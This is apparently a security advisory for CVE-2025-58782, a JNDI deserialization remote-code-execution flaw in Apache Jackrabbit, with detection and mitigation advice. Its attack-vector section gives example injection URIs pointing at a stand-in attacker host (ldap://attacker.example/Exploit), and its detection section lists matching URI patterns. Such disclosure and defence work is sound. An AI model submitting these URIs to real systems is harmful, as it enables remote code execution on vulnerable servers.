CVE-2025-58782: Apache Jackrabbit RCE Vulnerability

CVE-2025-58782 Overview

CVE-2025-58782 is a deserialization of untrusted data vulnerability [CWE-502] affecting Apache Jackrabbit Core and Apache Jackrabbit JCR Commons. The flaw impacts versions 1.0.0 through 2.22.1 of both components. Deployments that accept Java Naming and Directory Interface (JNDI) Uniform Resource Identifiers (URIs) for Java Content Repository (JCR) lookup from untrusted users allow attackers to inject malicious JNDI references. Successful exploitation can lead to arbitrary code execution through deserialization of attacker-controlled data streams. Apache addressed the issue in version 2.22.2 by disabling JCR lookup through JNDI by default.

Critical Impact
Remote attackers can supply crafted JNDI URIs to Jackrabbit instances that accept them from untrusted input, triggering deserialization of malicious payloads and potentially executing arbitrary code within the application context.

Affected Products

Apache Jackrabbit Core versions 1.0.0 through 2.22.1
Apache Jackrabbit JCR Commons versions 1.0.0 through 2.22.1
Applications embedding Jackrabbit that expose JNDI-based JCR lookup to untrusted users

Discovery Timeline

2025-09-08 - CVE-2025-58782 published to the National Vulnerability Database (NVD)
2026-06-17 - Last updated in NVD database

Technical Details for CVE-2025-58782

Vulnerability Analysis

Apache Jackrabbit is a Java Content Repository implementation used by numerous content management and enterprise applications. The vulnerable code path exposes JCR lookup functionality through JNDI URIs. When an application forwards user-supplied JNDI URIs into the Jackrabbit lookup routine, the underlying JNDI provider resolves the reference and instantiates the referenced object. If that object contains serialized Java data, the JVM deserializes it using standard Java deserialization semantics.

Attackers can host a malicious JNDI endpoint that returns a Reference or serialized object designed to trigger a gadget chain present on the application's classpath. Well-known gadget chains from libraries such as Commons Collections, Commons BeanUtils, or Spring can invoke arbitrary methods during deserialization. The result is code execution within the process running Jackrabbit.

Root Cause

The root cause is unsafe handling of JNDI URIs supplied by external actors combined with Java's inherent trust in deserialized object graphs [CWE-502]. Jackrabbit historically enabled JNDI-based JCR lookup by default. Applications passing untrusted input into these lookup methods effectively grant remote code loading and deserialization capabilities to the requester.

Attack Vector

The attack vector is network-based and requires no authentication or user interaction when a vulnerable endpoint accepts JNDI URIs. An attacker submits a URI such as ldap://attacker.example/Exploit or rmi://attacker.example/Exploit through an application field that reaches Jackrabbit's JCR lookup. Jackrabbit resolves the URI, fetches the remote object, and deserializes the payload. The Exploit Prediction Scoring System (EPSS) assigns this issue a probability of 1.286% at the 66.681 percentile.

No verified public proof-of-concept code is currently linked in the advisory. Refer to the Apache Mailing List Discussion and the Openwall OSS-Security Update for technical context.

Detection Methods for CVE-2025-58782

Indicators of Compromise

Outbound LDAP, LDAPS, RMI, or DNS connections from Java application servers running Jackrabbit to unexpected external hosts.
Application log entries showing JNDI lookup operations with URIs containing ldap://, rmi://, or iiop:// schemes originating from user-controlled fields.
Spawned child processes from the Java Virtual Machine hosting Jackrabbit, such as sh, bash, cmd.exe, or powershell.exe.
Unexpected class loading events for gadget chain libraries during request processing.

Detection Strategies

Inspect HTTP request bodies and parameters reaching Jackrabbit endpoints for JNDI URI schemes, mirroring detection patterns established for Log4Shell.
Correlate Java process behavior with outbound network traffic to identify JNDI resolution against untrusted hosts.
Audit Jackrabbit configuration to confirm whether JNDI lookup is enabled and whether user input reaches RepositoryFactoryImpl or JndiRepositoryFactory.

Monitoring Recommendations

Enable Java Security Manager or com.sun.jndi.ldap.object.trustURLCodebase=false and com.sun.jndi.rmi.object.trustURLCodebase=false monitoring to alert on override attempts.
Forward application, web server, and JVM logs into a centralized analytics platform for pattern analysis and long-term retention.
Deploy egress filtering telemetry and alert on Jackrabbit hosts initiating outbound LDAP or RMI connections.

How to Mitigate CVE-2025-58782

Immediate Actions Required

Upgrade Apache Jackrabbit Core and Apache Jackrabbit JCR Commons to version 2.22.2 or later.
Audit all application code that forwards user input into Repository or RepositoryFactory lookup methods and remove any path that accepts JNDI URIs from untrusted callers.
Review network egress policies for Jackrabbit hosts and block outbound LDAP, LDAPS, and RMI traffic where not required.

Patch Information

Apache released Jackrabbit 2.22.2 on the project mailing list. The fix disables JCR lookup through JNDI by default. Administrators who require JNDI-based lookup must re-enable it explicitly and validate that inputs are never sourced from untrusted users. Patch details are available in the Apache Mailing List Discussion.

Workarounds

Disable JNDI-based JCR lookup in application configuration when the feature is not required.
Restrict Jackrabbit lookup calls to hardcoded, application-controlled URIs rather than user-supplied values.
Apply an allowlist of permitted JNDI providers and URI schemes at the application layer before invoking Jackrabbit APIs.
Set the JVM properties com.sun.jndi.ldap.object.trustURLCodebase=false and com.sun.jndi.rmi.object.trustURLCodebase=false to block remote codebase loading.

bash

# Configuration example: enforce safe JNDI defaults for the JVM running Jackrabbit
java \
  -Dcom.sun.jndi.ldap.object.trustURLCodebase=false \
  -Dcom.sun.jndi.rmi.object.trustURLCodebase=false \
  -Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false \
  -jar your-jackrabbit-app.jar